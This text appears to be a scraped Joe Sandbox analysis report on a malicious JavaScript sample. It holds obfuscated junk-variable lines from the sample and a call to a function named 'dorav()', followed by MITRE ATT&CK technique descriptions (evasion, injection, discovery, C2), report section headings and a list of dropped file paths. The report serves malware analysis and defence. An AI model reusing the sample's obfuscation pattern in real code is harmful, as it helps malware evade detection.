1482	znzep = "e";
1483	znzep = "Q";
1484	znzep = "z";
1485	znzep = "k";
1486	znzep = "M";
1487	znzep = "Z";
1488	znzep = "Z";
1489	znzep = "T";
1490	znzep = "R";
1491	znzep = "O";
1492	znzep = "g";
1493	znzep = "Y";
1494	znzep = "k";
1495	znzep = "R";
1496	znzep = "g";
1497	znzep = "m";
1498	znzep = "H";
1499	znzep = "E";
1500	znzep = "r";
1501	znzep = "k";
1502	znzep = "Y";
1503	znzep = "v";
1504	znzep = "B";
1505	znzep = "Q";
1506	znzep = "B";
1507	znzep = "T";
1508	znzep = "D";
1509	znzep = "e";
1510	lqvqwnjpz = "n";
1511	lqvqwnjpz = "B";
1512	lqvqwnjpz = "Z";
1513	lqvqwnjpz = "N";
1514	lqvqwnjpz = "Y";
1515	lqvqwnjpz = "f";
1516	lqvqwnjpz = "R";
1517	lqvqwnjpz = "V";
1518	lqvqwnjpz = "R";
1519	lqvqwnjpz = "c";
1520	lqvqwnjpz = "k";
1521	lqvqwnjpz = "O";
1522	zuhsho = "b";
1523	zuhsho = "Z";
1524	zuhsho = "H";
1525	zuhsho = "P";
1526	zuhsho = "L";
1527	zuhsho = "N";
1528	zuhsho = "I";
1529	zuhsho = "Y";
1530	zuhsho = "M";
1531	zuhsho = "v";
1532	zuhsho = "E";
1533	zuhsho = "j";
1534	zuhsho = "W";
1535	zuhsho = "s";
1536	zuhsho = "n";
1537	zuhsho = "a";
1538	zuhsho = "U";
1539	zuhsho = "d";
1540	zuhsho = "k";
1541	zuhsho = "w";
1542	zuhsho = "m";
1543	zuhsho = "y";
1544	zuhsho = "L";
1545	zuhsho = "D";
1546	zuhsho = "f";
1547	zuhsho = "K";
1548	zuhsho = "t";
1549	zuhsho = "Y";
1550	zuhsho = "s";
1551	zuhsho = "T";
1552	zuhsho = "I";
1553	zuhsho = "v";
1554	zuhsho = "X";
1555	zuhsho = "b";
1556	zuhsho = "w";
1557	fsxbfq = "V";
1558	fsxbfq = "s";
1559	fsxbfq = "g";
1560	fsxbfq = "X";
1561	fsxbfq = "J";
1562	fsxbfq = "M";
1563	fsxbfq = "C";
1564	fsxbfq = "g";
1565	fsxbfq = "p";
1566	fsxbfq = "c";
1567	fsxbfq = "U";
1568	fsxbfq = "P";
1569	fsxbfq = "B";
1570	fsxbfq = "U";
1571	fsxbfq = "X";
1572	fsxbfq = "F";
1573	fsxbfq = "y";
1574	fsxbfq = "O";
1575	fsxbfq = "t";
1576	fsxbfq = "S";
1577	fsxbfq = "f";
1578	fsxbfq = "A";
1579	fsxbfq = "S";
1580	fsxbfq = "b";
1581	fsxbfq = "W";
1582	fsxbfq = "v";
1583	dorav ( );	dorav() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 82691949257725140.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\60274c6b-edd2-4768-bea3-2f97a6a8d281.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6d5188.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bec090df-4096-44c8-b41a-506a4b1366ff.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
82691949257725140.js